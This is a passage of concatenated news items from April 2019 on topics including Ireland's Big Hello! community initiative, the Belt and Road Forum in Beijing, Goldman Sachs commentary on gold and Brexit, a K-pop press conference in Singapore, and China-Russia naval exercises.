she had missed her bus back to Dublin. So, the helpful duo decided to bring them back to the capital themselves. "Get well soon Jennifer and enjoy the rest of your trip to Ireland," said the Garda Siochana Kilkenny/Carlow Facebook page. Michael Ring TD, Minister for Rural and Community Development, has expressed his delight at the response by communities in Kilkenny to The Big Hello! initiative which he launched last month. The Big Hello! supports communities to host events in their local area in order to strengthen community ties and help tackle the problem of social isolation. So far, 27 The Big Hello! events will take place in the county over the forthcoming May Bank Holiday Weekend (4-6 May), with more to be arranged. Minister Ring said: Im blown away by the response that there has been from communities in Kilkenny. Its going to make for a really enjoyable and exciting May bank Holiday weekend in the county. Over 790 events have been confirmed nationally, with more to come. In fact, Im confident that we will surpass our target of 1,000 events throughout the country. Some of The Big Hello! events in Kilkenny include: Blacks & Whites GAA Club will host a 5k/10k walk in memory of Geraldine Ward to raise awareness for Pieta house. Ballyragget Community Hall will have an open afternoon for the elderly games, cards, bingo, music and dancing, tea, sandwiches and cake. Callan Town Team will have a free day of community engagement. Wildflower seed planting, workshops, street feast and readings from upcoming Callan Theatre production. Castlewarren Cultural Group are planning a community social event to celebrate the recent upgrade of the Community Building with childrens games, tea/coffee light snacks, pony rides, music, and official launch. Minister Ring continued: Im delighted that people in Kilkenny have taken to The Big Hello! concept so enthusiastically. It is a great reflection of the strong communities that we have. I now urge people to reach out to their neighbours, especially those who may be elderly or vulnerable, and try to get them involved in their local event. In a world where people are spending less time in their communities and more time at work, it is important to find new ways to connect people and focus on the importance of neighbours. With our busy lives, it can be hard to make as much time for each other outside of our network of family, friends and social media contacts. Sadly, many people living among us are experiencing social isolation and loneliness. I firmly believe that this initiative can help people to connect or re-connect with their neighbours and communities. I am really looking forward to attending The Big Hello! events throughout the country over the May Bank Holiday Weekend. The initiative is being organised by the Ministers Department in partnership with representatives of Public Participation Networks, Local Community Development Companies, Volunteer Ireland, Young Social Innovators, Macra na Feirme, Street Feast, An tOireachtas and Change X. In order to support local events, Minister Ring allocated 10,000 to each of the 31 Local Authorities and asked them to allocate funding to The Big Hello! events in their areas. Further details can be found on www.drcd.gov.ie/bighello, and on The Big Hello! Facebook page. Sanders is one of only a handful of women serving as commanders at VFW posts in Indiana, though the number of women in leadership positions here and across the state continues to creep up as more women serve in the military, said Troy King, adjutant quartermaster at the VFWs state headquarters in Indianapolis. (Adds detail, background) April 26 (Reuters) - Australian miner Aurelia Metals Ltd on Friday said it was in talks about a possible acquisition of Glencore's CSA copper mine in the state of New South Wales. That comes after copper producer Aeris Resources Ltd earlier this month said it was unable to reach an agreement with Glencore on its $575 million offer to buy the mine. "(The) CSA mine could potentially be a strategic fit," Aurelia said in a statement. It added that building its portfolio of assets in the Cobar region could be attractive following its acquisition of Peak Gold Mines in the same area last year from Canada's New Gold Inc. Aurelia, with a market value of about A$600 million ($420.72 million) is significantly larger than Aeris Resources. The company's stock was down as much as 3.7 percent in early trade, against a 0.3-percent drop in the broader market. ($1 = 1.4261 Australian dollars) (Reporting by Rashmi Ashok in Bengaluru; Editing by Richard Pullin and Joseph Radford) BEIJING (Reuters) - Chinas Belt and Road Initiative (BRI) must be green and sustainable, President Xi Jinping said in opening a summit on his grand strategy, adding that the massive infrastructure and trade plan would deliver high-quality growth for all. Xis plan to rebuild the old Silk Road to connect China with Asia, Europe and beyond has become mired in controversy as some partner nations have bemoaned the high cost of infrastructure projects. China has not said exactly how much the ambitious plan will cost, but some independent estimates suggest it will run into several trillion dollars. Beijing has repeatedly said it is not seeking to trap countries that sign up to BRI with debt, and will use this weeks summit in Beijing to address those concerns and recalibrate the policy. Xi said in a keynote speech on Friday that environmental protection must underpin the initiative to protect the common home we live in. Operate in the sun and fight corruption together with zero tolerance, Xi said. Building high-quality, sustainable, risk-resistant, reasonably priced, and inclusive infrastructure will help countries to fully utilize their resource endowments, he added. Unlike the first summit in 2017, where Xi said Chinese banks will lend 380 billion yuan ($56.4 billion) to support BRI cooperation, he did not give a figure for new financing support. However, Xi will give another speech on Saturday. Western governments have tended to view the plan as a means to spread Chinese influence abroad, saddling poor countries with unsustainable debt. While most of the BRI projects are continuing as planned, some have been caught up by changes in government in countries such as Malaysia and the Maldives. Those that have been shelved for financial reasons include a power plant in Pakistan and an airport in Sierra Leone, and Beijing has rebuffed critics by saying that not one country has been burdened with so-called debt traps. Since 2017, the finance ministries of 28 countries have called on governments, financial institutions and companies from BRI countries to work together to build a long-term, stable and sustainable financing system to manage risks, Chinas finance ministry said in a report released on Thursday. Debt sustainability has to be taken into account when mobilizing funds, the ministry said in the report, which outlined a framework for use in analyzing debt sustainability of low-income BRI nations and managing debt risks. Xi launched BRI in 2013, and according to data from Refinitiv, the total value of projects in the scheme stands at $3.67 trillion, spanning countries in Asia, Europe, Africa, Oceania and South America. The BRI is an extraordinarily ambitious vision. To turn that vision into a sustainable reality, it must work for everyone involved, British finance minister Philip Hammond said at the summit. The potential benefits are clear, but to deliver them, BRI must operate according to the highest global standards with all parties working together within the rules-based international system to create genuine win-win outcomes for all, he said. CHINESE PROMISES The BRI will also create development opportunities for China just as the country itself is further opening its markets to the world, Xi said. He said China will improve laws and regulations, regulate government behavior at all levels in administrative licensing, market supervision and other areas, and clean up and abolish unreasonable regulations, subsidies and practices that impede fair competition and distort the market. Xi promised to significantly shorten the negative list for foreign investments, and allow foreign companies to take a majority stake or set up wholly-owned companies in more sectors. Tariffs will be lower and non-tariff barriers will be eliminated, he added. China also aims to import more services and goods, and is willing to import competitive agricultural products and services to achieve trade balance. VISITING LEADERS Summit attendees include Russian President Vladimir Putin and Prime Minister Imran Khan of Pakistan, a close China ally and among the biggest recipients of BRI investment, as well as Prime Minister Giuseppe Conte of Italy, which recently became the first G7 country to sign on. Khan told the summit that in a world of uncertainty, the initiative offered a model of collaboration, partnership, connectivity and shared prosperity. Cambodian Prime Minister Hun Sen took aim at critics who have described Belt and Road as a debt trap, pointing to the successful example of a Chinese-funded highway between Phnom Penh and the port city of Sihanoukville. Cambodia has not only been able to plan this project for the benefit of the people but also achieve financial engineering that does not increase public debt to the state, he said, in comments translated into English. European countries have signaled their willingness to participate in the BRI, but key states like France and Germany have said China must in turn improve access and fair competition for foreign firms. Major European Union countries want to sign a memorandum of understanding on the BRI as a group and not as individual states, German Economy Minister Peter Altmaier said. The United States, which has not joined the Belt and Road, is expected to send only lower-level officials, and nobody from Washington. We continue to have serious concerns that Chinas infrastructure diplomacy activities ignore or weaken international standards and best practices related to development, labor protections, and environmental protection, a spokesman for the U.S. Embassy in Beijing said. Editor's Note: Get caught up in minutes with our speedy summary of today's must-read news stories and expert opinions that moved the precious metals and financial markets. Sign up here! (Kitco News) - Goldman Sachs favors a pair of spread trades in the precious-metals complex, looking for gold to outshine silver and palladium to outperform platinum. Analysts said in a report Thursday that they remain bullish on gold but nevertheless are trimming their forecasts to $1,300 an ounce for three months, $1,325 for six months and $1,375 for a year from now. Previously, these forecasts were $1,350, $1,400 and $1,450. Gold has always been primarily a hedge against tail-risk events and the current low-volatility environment reduces investment appetite for gold, Goldman said. Despite a significant drop in long-term real rates, gold prices have remained flat YTD [year-to-date] as recession fears have receded since late last year. However, we believe gold prices have likely undershot fundamental value. Recent increases in the Shanghai gold premium signals that Chinese are using lower prices as a buying opportunity. Further, Goldman commented that central-bank buying of the precious metal has been strong so far this year, with known January-February purchases totaling 90 tonnes, up from 55 in the same two months of 2018. The bank said it was closing an outright long, or bullish, trading recommendation on gold from late last year. However, analysts said, we now believe long [bullish] gold and short [bearish] silver is a better approach as silver does not benefit from central-bank buying and remains in physical surplus. We reduce our silver forecast in line with gold. In spread trades, market participants bet that one commodity will outperform another. Goldman listed three-, six and 12-month silver forecasts of $14.50, $15 and $15.50 an ounce, down from $15.50, $15.50 and $16 previously. As of 8:14 a.m. EDT, spot gold was $3.20 higher to $1,279.90 an ounce, while silver was up 4 cents to $14.99. Finally, we think that lack of substitution by auto companies will lead palladium to continue to outperform platinum, Goldman said. Palladium prices soared to record highs in 2019 in a market considered tight. Despite a more-than-$200-an-ounce correction lower from the peak, the metal maintains a premium of more than $500 an ounce over sister metal platinum. Both are used for automotive catalytic converters. Prior to the last couple of years, palladium was cheaper and used for catalysts in vehicles with gasoline-powered engines, such as are popular in the two largest auto markets in the world China and the U.S. Platinum was used for diesel-powered vehicles, which are more popular in Europe. There has been conjecture that palladiums huge price premium may prompt companies to substitute toward more platinum, but analysts say this does not appear to be happening yet. Palladium is also set to benefit more than platinum from tighter environmental restrictions in China, Goldman Sachs said. As such we reopen our long palladium-versus-short platinum trade recommendation. Platinum was $1 higher to $886 an ounce, while palladium was $8 softer to $1,400. * Brexit has cost the UK 2.5 percent of GDP versus peers (Adds details, context) By Helen Reid LONDON, April 26 (Reuters) - Britain's protracted divorce from the European Union is hurting the world's fifth largest economy as dwindling company investment, signs of a looming labour market shock and poor productivity hinder growth, Goldman Sachs said. The United Kingdom was due to have left the EU on March 29, though Prime Minister Theresa May has been unable to get her divorce deal approved by parliament. Now the new deadline is Oct. 31, more than three years since the 2016 referendum. It is now unclear when, how and even if Brexit will happen. Goldman Sachs said in a note to clients that its base scenario was the divorce deal would be ratified by May 22 but that there was a risk of Britain's exit being delayed until much closer to the new Oct. 31 deadline. "The politics of Brexit have become more protracted and, as a result, the side-effects of Brexit on the UK economy have intensified," Goldman said in a note entitled "Brexit Withdrawal Symptoms". "From both a top-down and a bottom-up perspective, Brexit has taken a toll on the UK economy even though it has not yet happened," Goldman said. It said Britain's economy has underperformed other advanced economies since mid-2016, losing nearly 2.5 percent of Gross Domestic Product relative to its pre-referendum growth path, in large part due to weaker investment. Bank of England Governor Mark Carney said in February that Britain had lost around 1.5 percent of GDP compared with the central bank's expectations before the referendum. Carney said this month that uncertainty facing British businesses has gone "through the roof" due to Brexit. Capital expenditure by businesses has been particularly subdued, Goldman said, and strong employment data masks a deepening misallocation of resources to labour rather than capital which will ultimately make the economy less efficient. Since the referendum, firms have hired workers rather than invest in capital, Goldman economists said. "BREXIT TAKING A TOLL" Business investment has grown by just 0.3 percent in cumulative terms since June 2016, and 2018 was the first year in at least half a century during which business investment contracted in every quarter without a recession, Goldman said. An increasingly tight labour market - with unemployment at its lowest since early 1975 and pay growing at its joint fastest pace in over a decade - could also be a sign of strain rather than resilience. "The balance between weaker demand for workers and a shorter supply of workers bears the hallmarks of a Brexit-induced labour market shock," Goldman economists said. Low investment combined with a tight labour market are likely to hurt the economy's overall efficiency and thus "accentuate the chronic underperformance of UK productivity," they added. Britain's productivity has lagged that of the U.S., Germany, and France, for the past decade. Business leaders have already triggered contingency plans to cope with additional checks on the post-Brexit UK-EU border they fear will clog ports, silt up the arteries of trade and dislocate supply chains in Europe and beyond. Opponents fear Brexit will make Britain poorer and divide the West as it grapples with both the unconventional US presidency of Donald Trump and growing assertiveness from Russia and China. Brexit supporters say there would be short-term disruption but in the long-term the UK would thrive if cut free from what they cast as a doomed experiment in German-dominated unity and excessive debt-funded welfare spending. "Until the UK's departure from the EU is resolved, it is difficult to have conviction in a strong rebound in growth," Goldman said. "In 2020, with Brexit resolved, we do expect a pick-up in activity as uncertainty abates." (Editing by Thyagaraju Adinarayan, Guy Faulconbridge and Andy Bruce) LONDON, April 26 (Reuters) - With Brexit looming, British factories stockpiled over the last three months at the fastest pace since records began in the 1950s, and they're increasingly downbeat about their prospects, a survey showed on Friday. The Confederation of British Industry's (CBI) quarterly survey added to signs that Brexit and a slowdown in the global economy has lumbered manufacturers, who account for 10 percent of the British economy, with a headache. Expectations for export orders in the next three months fell to their lowest level since mid-2009, when Britain was reeling from the global financial crisis. The CBI's gauges for stocks of raw materials, work in progress and finished goods all hit record highs -- findings mirrored by the closely-watched IHS Markit/CIPS purchasing managers' index published earlier this month. Official data suggest stockpiling, intended to minimise any disruption to supply lines in the event of a no-deal Brexit, temporarily boosted manufacturing output in early 2019, but business surveys show factories are bracing for a lull later. "In the near-term, there is the serious threat to manufacturers that activity will take an appreciable hit from some unwinding of the record stockpiling of manufactured products," said Howard Archer, economist at the EY ITEM Club consultancy. The CBI's monthly gauge of manufacturing orders fell unexpectedly to -5 in April from +1 in March, marking the weakest reading since October 2018. A Reuters poll of economists had pointed to a rise to +3. (Reporting by Andy Bruce; Editing by Hugh Lawson) Videos Sorry, there are no recent results for popular videos. Universities in Belarus are showing great interest in expanding their cooperation with Chinese schools due to a rising demand for Chinese-speaking graduates and an increasing number of students interested in learning to speak Chinese. Irina Starovoitova, first deputy minister of education, said Belarus and China are celebrating the 26th anniversary of their diplomatic relations this year and are undertaking closer cultural and educational exchanges under the Belt and Road Initiative. This year has been designated China Education Exchange Year in Belarus, with several initiatives being implemented by governments and universities in both countries. "We hope the Belt and Road Initiative, as well as the China Education Exchange Year will help Chinese people know more about our country, our history, our culture and our educational system, thus boosting bilateral cooperation among the universities and language research institutes," Starovoitova said in an interview with China Daily. Belarus has been paying much attention to its educational system since attaining independence from Russia in 1991. The Eastern European country has a population of about 9 million, with 51 advanced educational institutes and more than 400 professions, with research in the fields of medical devices, information communication, nuclear energy and robotics among the best in the world. "We always believe that you need to travel in a country to know about its culture, and you need to study in a country to know about its education," Starovoitova said. Aerial photo taken on April 4, 2019 shows the scenery of Yanqi Lake in Beijing, capital of China. The second Belt and Road Forum for International Cooperation is to be held on April 25-27 in Beijing. [Photo/Xinhua] As the number of countries participating in the Belt and Road Initiative (BRI) continues to climb, private firms around the world do not want to miss out on the opportunities. At the ongoing Second Belt and Road Forum for International Cooperation (BRF), scheduled from Thursday to Saturday in Beijing, global business leaders regard the forum as a golden opportunity to secure new deals or partnerships. Unlike the first BRF two years ago, this year's forum, featuring a CEO conference and a B2B matching session that are designed specifically for the business world, has attracted enterprises from 88 countries and regions. Arancha Gonzalez, executive director of the International Trade Center, described the special session for enterprises a "very welcomed innovation." "Private sector participation, both Chinese and foreign, will be essential to ensure the long-term sustainability, vitality and efficiency of the Belt and Road Initiative," said Gonzalez. More than five years after its launch, cooperation under the BRI has become increasingly pragmatic, with a series of down-to-earth projects initiated by private companies, showing the appeal of the BRI. Le Xuan Nghia, a Vietnamese contractor, came to the forum to sign a deal worth some 1.15 billion yuan (about 170 million U.S. dollars) on three pig breeding projects with the Chinese agricultural conglomerate New Hope Group. "Chinese companies have competitive advantages in terms of financing, technology and infrastructure construction, while Vietnam has a very promising agricultural market," said Nghia, adding that the BRF has given him a global platform to connect with other companies in the industry. The three pig farms are expected to provide Vietnam with nearly 1 million pigs annually, offering a safe food supply to the country while creating jobs for the locals, said Zhang Xiangjun, general manager of the New Hope Binh Phuoc Livestock Company. Zhang Xin, chairman of TBEA, an energy equipment supplier that has a presence in many Belt and Road countries including Tajikistan and Pakistan, said that the BRI has offered a platform for firms of all kinds to learn from others and brainstorm new ideas. "The BRI has encouraged many private companies in China to go onto the world stage," Zhang said. According to data from the All-China Federation of Industry and Commerce, out of the top 500 private firms in China in 2017, 274 have participated in BRI projects. To ensure long-term sustainability, the BRI should be more inclusive and support B2B exchanges among more small- and medium-sized enterprises (SMEs), said Gonzalez. "The Belt and Road Initiative cannot be only for the 1 percent of big enterprises, but we also must work to make the initiative for the 99 percent of our economies -- the small and medium enterprises that are the backbones of the economies along the Belt and Road," she said. Davide Cucino, chairman of the China-Italy Chamber of Commerce, said that compared with larger firms, SMEs have fewer instruments to participate in international projects, and that is where government-initiated platforms and events such as the BRF come in to help. "Companies also need to let the government know about their needs. It must be a two-way communication," Cucino said. As the first Group of Seven nation to participate in the BRI, Italy is both giving and receiving opportunities, Cucino said. "Sooner or later all countries will embrace the initiative," he said. The China-Japan agreement on mutual Authorized Economic Operator (AEO) status will go into effect on June 1 to provide easier customs clearance for exporters, according to the General Administration of Customs (GAC). Under the agreement, companies that obtain the AEO status in the two countries will enjoy simplified customs procedures, such as reduced examination and prioritized clearance, when they export products to the other country. China and Japan signed the AEO agreement in October last year, said the GAC. The AEO system, initiated by the World Customs Organization, aims at facilitating customs clearance for enterprises through the authentication by customs on enterprises with a high level of law compliance, credit status and safety. China has signed mutual AEO agreements with 36 countries and regions including Singapore, the Republic of Korea, the European Union, Switzerland and New Zealand. As each other's major trading partners, China and Japan have seen stable growth in trade and investment. In the first three months, Japanese investors set up 221 firms in China, up 44.4 percent year on year while its foreign direct investment in the Chinese mainland increased by 1.6 percent year on year to 1.09 billion U.S. dollars. China has also made big investments in Japan. By the end of March, China's total direct investment in Japan had amounted to 3.5 billion dollars, covering various industries including manufacturing, financial services and telecommunications, showed data from the Ministry of Commerce. Kendallville, IN (46755) Today Partly cloudy this evening, then becoming cloudy after midnight. Low 22F. Winds SSW at 5 to 10 mph.. Tonight Partly cloudy this evening, then becoming cloudy after midnight. Low 22F. Winds SSW at 5 to 10 mph. The Export-Import Bank of China and Standard Chartered Bank on Thursday signed a memorandum of understanding (MoU) for cooperation under the framework of the Belt and Road Initiative (BRI). The two banks agreed to give full play to their respective advantages and enhance exchange on information communication and knowledge to jointly provide financial support and services for the Belt and Road projects through cooperation in fields including syndicated loans, financial markets and trade finance, according to the MoU. The two sides said that it requires multiple sources of funding and professional collaboration to promote the high-quality development of Belt and Road projects. Supporting the Belt and Road construction is one of the priorities of the Export-Import Bank of China, which has supported more than 1,800 projects in countries participating in BRI with a loan balance amount of more than 1 trillion yuan (about 149.25 billion U.S. dollars), according to its president Zhang Qingsong. In 2018, the Standard Chartered Bank was involved in about 100 BRI projects, with the combined financing of more than 20 billion U.S. dollars. The long-awaited arrival of our Kpop queen Chung Ha, finally took place on 21st April as she graced the press conference with her presence. The already heated venue got livelier when Chung Ha made her appearance donned in white flowy blouse tucked in her high-waisted black shorts. Smiling widely, she started off introducing herself in fluent English and subsequently mentioned that she landed in Singapore that morning in response to the first fan who queued at 5am as well. It was the former I.O.I member's first time in Singapore, and she has heard a lot about Singapore through enthusiastic Singapore fans from the V Live app. Chung Ha expressed her excitement on having to perform her stages here and particularly looked forward to meeting her fans at the fan meeting! She also recommended each and every one of her songs to busk in during summer. Having released numerous music videos, Chung Ha could not choose one as favourite as all music videos she filmed are equally special to her. Regarding her comeback, she also stated that fans can anticipate her comeback in a couple of months, arousing excitement and cheers from the fans. Some fans clamoured that playing with her pet dog 'Bambi' is her favourite pastime nowadays and she agreed while laughing light-heartedly. Much to everyone's delight, she said that she would definitely visit Singapore again if she was given a month to do something freely. She stated that she is not sure about staying in Singapore for the duration of the entire month, but she will definitely be back here, reflecting the good impression she holds of the red dot and her love for Singapore. Chung Ha thought she would still be dancing, perhaps a professional dancer if she was not an idol. She also likes listening to people's stories, hence she sees herself possibly as a therapist as well. Having warned us of a cliche answer, she also advised that drinking lots of water and having beauty sleep is essential to maintaining her voice. Of course, not to forget the love from her fans as one of the essential contributing factor. 'Can't Live Without' are the three words Chung Ha used to describe her Singapore fans threw her supporters to another round of frenzy as the venue was instantly filled with shouts and cheers. Chung Ha also highlighted the differences between a solo artist and part of a girl group, stating that there was a lot of pressure without her girls, presumably the former members of I.O.I, but the upside was she could instil her personal voice and thoughts into the making of her album. Despite more personalised touches in her album, everything feels different now that she is promoting solo. Chung Ha also redirected a question to the audience as she wanted to receive recommendations for local delights. She was aware of a famous Singapore toast, but could not remember the name. Her fans came to the rescue as they shouted 'Kaya Toast', and she instantly beamed her widest smile and pointed excitedly in the air while exclaiming that Kaya toast was the toast she would like to try. She also melted her fans hearts when she said that her fans are her super power. Ultimately, she chose teleportation, having to transport quickly to places as her ideal superpower to have. Chung Ha would like to learn more about acting in the future if given the chance, but she is contented with being on stage and connecting with the fans currently. If she were to act, she would like to start off with light hearted roles that are more easily relatable with the audience. Heavy and dark characters would be her challenge at the later stage. In contrast to her active and outgoing image on stage, she is more of a homebody off stage and she would often hang around with her dancers during her free time. She also added that she wants to visit somewhere traditional in Singapore. After the press conference, lucky fans got invited to the stage for a live poster autograph session by Chung Ha herself. With the ambience of the press conference already so heated, it is easily imaginable how exciting the fan meeting would be that evening. See the press conference video below: Special thanks to Three Angles Production for inviting KpopStarz to cover '2019 Chung Ha Fan Meeting in Singapore' Press Conference. Writer: Shirlyn Sng | Photo Credits: Xin En | Video Credits: Ong Melin From Cambodia to Ethiopia to Georgia, economic and industrial zones have become an increasingly important dimension of international cooperation within the framework of the Belt and Road Initiative (BRI). Speaking at a sub-forum on Thursday at the ongoing second Belt and Road Forum for International Cooperation (BRF), senior officials from around the world called for closer BRI cooperation to make better use of such special zones and create more win-win results. Georgian Vice Prime Minister Maya Tskitishvili said her country established a free industrial zone for global businesses and inked a free trade agreement with both China and the European Union (EU). "Georgia is an emerging market looking to play a greater role in the global economy," said Tskitishvili, who is also Georgia's minister of regional development and infrastructure. Calling the BRI a "vital instrument" in bringing the world closer together, she said Chinese investment in the country's economic zones will contribute to advancing Georgia's economy and raising its people's living standards. Saudi Arabia's Minister of Energy, Industry and Mineral Resources, Khalid A. Al-Falih, said China and his country share "bonds between the two ends of Asia" that go back centuries. Saudi Arabia, he added, is developing special economic zones to attract domestic and foreign investment that would be suitable candidates to merge with the BRI. More Chinese involvement in Saudi Arabia would "bring greater prosperity to our peoples," he said. To Ethiopian Minister of Finance Ahmed Shide, "cooperation zones are very important for industrialization," as they enhance "ease of doing business" and can serve as "a good experiment in industrialization." Shide said the BRI complements the Horn of Africa nation's own development initiatives that involve interstate highways, railways, dry ports and special economic zones. "China has actively supported our endeavors," added the minister. In Southeast Asia, one of the fastest growing regions in the world, countries are also seeking to boost win-win cooperation in developing economic zones within the BRI framework. Nguyen Chi Dung, Vietnam's minister of planning and investment, said the BRI is an opportunity to acquire knowledge and new management methods. Although Chinese companies already have a presence in several of the country's industrial parks, Vietnam plans to create new economic zones and welcomes Chinese and other foreign enterprises to invest, added the minister. Secretary General of the Thailand Board of Investment Duangjai Asawachintachit told the sub-forum that her country is looking to move out of the middle-income trap and is "working to improve its business ecosystem." One way of doing so is through the Eastern Economic Corridor (EEC), Thailand's new development frontier, which the Thai government aims to build into a leading economic zone through strong land, sea and air linkages with Southeast Asia, she said. Thailand, she added, welcomes Chinese companies with a focus on high technology to set up shop in the EEC and other economic zones. Calling for more BRI cooperation with China, Secretary General of the Council for the Development of Cambodia Sok Chenda Sophea said advantages of its industrial parks for Chinese companies include Cambodia's strategic location in the Mekong region and its young population compared to other Asian nations. Vivencio Dizon, president and chief executive officer of the Bases Conversion and Development Authority of the Philippines, said he has visited several parks in China and thinks that China "shows the way to the rest of the world on how to run parks." The BRI is "critical to move our countries forward" in Southeast Asia, he said, adding that it is also "a strategic initiative amid the uncertainties facing the world." You are here: Business The Belt and Road Energy Partnership (BREP) was inaugurated on Thursday in Beijing, marking strengthened cooperation of the countries participating in the Belt and Road Initiative in the energy sector. The inauguration attracts energy ministers, ambassadors and high-level delegations in the energy sector from 30 participating countries, including Venezuela, Turkey and Iraq, and five observing countries. During the meeting, a document on the cooperation principles and concreate actions of the BREP has been released. According to the document, participating countries would strengthen infrastructure connectivity, enhance energy investment and promote cooperations in clean energy, energy efficiency, capacity building and personnel training. A series of energy projects have been launched since the initiative was proposed six years ago, Zhang Jianhua, head of the National Energy Administration said, noting that those projects have brought substantial benefits to relative countries. The transition towards high-quality development of the Belt and Road Initiative will open up new spaces for Belt and Road construction, a foreign business leader suggested at the Belt and Road CEO Conference held in Beijing on April 25, 2019. "The quality is the main added value that we can provide in each sector, so the development should focus on quality rather than quantity, and it's something that has been implemented by some countries along the Belt and Road, which would definitely help China to develop in a sustainable way," said Massimo Bagnasco, vice president of the European Union Chamber of Commerce in China. For the first time, a conference organized specifically for the business community was held during the Belt and Road Forum for International Cooperation. The CEO conference is aimed at providing a platform for business people to seek potential opportunities in broader areas. Some 850 business leaders from 88 countries and regions, including representatives from 90 global Fortune 500 companies, gathered in Beijing to discuss cooperation opportunities. "The China-proposed BRI has sketched out a 'freehand brushwork' over the past few years and is working on a 'meticulous painting,' which poses new challenges and requirements for China's centrally-administered SOEs and private companies," said Xiao Yaqing, head of the State-owned Assets Supervision and Administration Commission of the State Council (SASAC), in his speech at the opening ceremony of the conference. Xiao also said that to achieve high-quality development of the BRI, China's centrally-administered SOEs should shoulder major tasks by upholding the principles of openness, inclusiveness, and transparency on infrastructure building along the Belt and Road. Today, the BRI has completed the planning stage and is taking steps toward sustainable development. The SASAC says centrally-administered SOEs are managing 3,120 projects along the Belt and Road, covering energy, transportation, and industrial sectors. Fruitful results were achieved in the past six years, including creating new local jobs, cutting infrastructure construction costs, and shifting toward a low carbon future. Noting the future trade corporation under BRI, Davide Cucino, chairman of the China-Italy Chamber of Commerce, believes that there are a lot of knowledge and experiences that both sides can share, but the most important thing is to carry out sustainable investing. He expected future collaborations under the BRI to respect the environment, the will of the people, economic rules, and bidding rules. The CEO conference also features a deal signing ceremony of new projects and a B2B matchmaking session. Close to 1,000 one-on-one symposiums were held between 570 companies from 75 countries and regions. A total of 56 deals were signed on the site, and another 217 cooperation agreements were reached between Chinese companies and their counterparts along the Belt and Road. PLA Navy ships conduct supply operations at an unspecified location in February. [Photo/Xinhua] China will conduct naval exercises with Russia and several Southeast Asian nations over the next few days, a spokesman for the Ministry of National Defense said on Thursday. A multinational sea drill will take place on Friday in waters southeast of Qingdao, Shandong province. Five Chinese Navy ships will participate, along with seven vessels from Southeast Asian nations, Senior Colonel Ren Guoqiang said at a news conference. The daylong drill is the second phase of joint naval activities between China and the Southeast Asian countries that started on Wednesday. Ren said it is aimed at enhancing their cooperative capabilities in responding to pirates and medical emergencies at sea. After the exercises, China and Russia will hold their Joint Sea 2019 naval exercise in waters near Qingdao from Monday until May 4. The exercise will focus on "joint defensive activities at sea", involving 13 ships, two submarines, seven fixed-wing aircraft and four helicopters from both sides. Eighty members of the two nations' marine corps will take part in the exercise. The bilateral exercise is expected to consolidate and further develop the comprehensive strategic partnership between China and Russia, deepen the friendship and cooperation of the two militaries and improve the capabilities of the two navies to jointly deal with security threats. The exercise is not aimed at any third party, Ren said. He also said the two sides have a plan to conduct their third computer-based missile defense exercise in Russia before the end of this year, noting that the first round of negotiations for the exercise took place in Beijing last week to set the schedule and training regimen. Ren added that the missile defense exercise will help boost bilateral strategic trust, safeguard security interests and enhance the international strategic balance. Luohu has published an action plan on family education reform (2018-20) in order to solicit public opinions. Under the plan, parents, grandparents and other family members are encouraged to take part in family education, in a bid to form a mechanism fostering lifelong learning for not only the younger generation, but also adults. In regard to children, education should be carried on three fronts home, society and school. However, for a long time, the home and society aspects of education have been ignored. The excessive emphasis on school education has placed an undue burden on both children and teachers, according to officials of Luohu District Education Bureau. The purpose of the action plan is to encourage society to squarely face up to the issue, and prompt family members, particularly parents, to assume their duties as a child's first teachers. Luohu government is offering some online courses to assist parents in undertaking this task, and has included family education courses as part of its public service system. Almost all relevant departments, ranging from education to social organizations, are encouraged to take part in the construction of the online family education system. Covering various subjects related to practical life, the courses will be customized for learners of different ages, and will lay special emphasis on the due role of adults and stimulating learner interest and a desire to fully engage in the process. A scoring system will be created to reflect results of the education platform. Some off-line lectures and activities related to family education and parenting will also be organized to promote exchanges among families. Experts on education and educational psychology will be invited to participate in these events. At the same time, public kindergartens, schools, and community schools in Luohu also offer training and guidance for parents and grandparents to improve their professionalism as home tutors. The online and off-line systems can cover all of the 83 residential communities of Luohu, which began promoting home education in 2013, when its Hongling Primary School elected a parent committee. The committee has played an important role in raising parental awareness of the importance of family education. In the second year, a total of 77 primary and middle schools in Luohu had elected their own parental committee. The Cuibei Experimental Primary School organizes parental evening courses after school every Friday to promote the concept of family education, forming a constructive interaction with school education. School headmaster Li Wei said: "Parental courses cannot solve all problems emerging for home education. However, it is our hope that it can help parents to grow up together with their offspring." Apart from being a strategic partner of China, Bangladesh is an important participant of the Belt and Road Initiative (BRI) in South Asia. The country's geographic location has increased its strategic significance and relevance to the initiative, as Bangladesh can serve as a bridge between South and Southeast Asia. Keeping this potential in mind, Bangladesh joined the BRI in 2016 and has since been reaping enormous dividends from the initiative. Thanks to the BRI, Bangladesh has witnessed substantial investments in its infrastructure sector, which has been pushing its economy ahead. As a result, Bangladesh is now among the three fastest-growing economies in the world. The economy of the South Asian nation is projected to grow at 7.3% this year, the second-highest in the world and one of only three countries in the world expected to log more than 7% growth this year, according to the International Monetary Fund. The World Bank, meanwhile, said 7.3% growth would make Bangladesh among the five fastest-growing economies in the world this fiscal year, and the Asian Development Bank also tipped Bangladesh to achieve the fastest economic growth in the Asia-Pacific region at 8% in the 2019-20 fiscal year. Such steady and remarkable achievements, owing in no small part to the active role and contributions of the BRI, have put Bangladesh on the path to fulfilling its dream of becoming a developed country by 2041. However, to realize the dream, economists have said the country will have to raise its annual GDP growth rate to more than 8% in the coming years, which means making huge progress in exports, remittance of foreign income or gains, and job creation. And the only path to this change is attracting vast inflow of infrastructure investment. According to the Asian Infrastructure Investment Bank, Bangladesh requires investments of more than US$24 billion in its infrastructure sector each year to continue on its journey to become a member of the club of developed nations. The power sector is an essential component of the infrastructure, and the country would require about US$35 billion in total investments in that sector alone by 2041. In order to carry its dream forward, Bangladesh expects more and wider investment inflows from China under the BRI cooperation. From the Chinese side, it's high time to invest in a country that maintains a secure and profitable investment environment thanks to its high degree of political stability. The Bangladeshi government has also taken some pragmatic initiatives to allure foreign investment, including the introduction of one-stop service, streamlining of rules and regulations, and setting up special economic zones. For investors, these zones also come with a wide range of measures like tax holidays and citizenship. Moreover, a total of 700 acres of land has been allocated for Chinese investors in particular to establish an economic zone in southern Chittagong, the nation's commercial capital. China has the potential to invest further in the gas, oil and energy sectors of Bangladesh. Chinese entrepreneurs can also invest in tourism, river dredging, automobiles, agriculture and irrigation, as well as building airports, highways and railways. They can benefit from investments in many other growing sectors as well, such as IT, ship-building, agro-based industries, leather and leather products, pharmaceuticals, ceramics, frozen fish, plastics, furniture, home textiles, and jute and jute products. Against such a backdrop of rich potential, a high-level state delegation from Bangladesh joined the much-awaited second Belt and Road Forum in Beijing this week. The forum 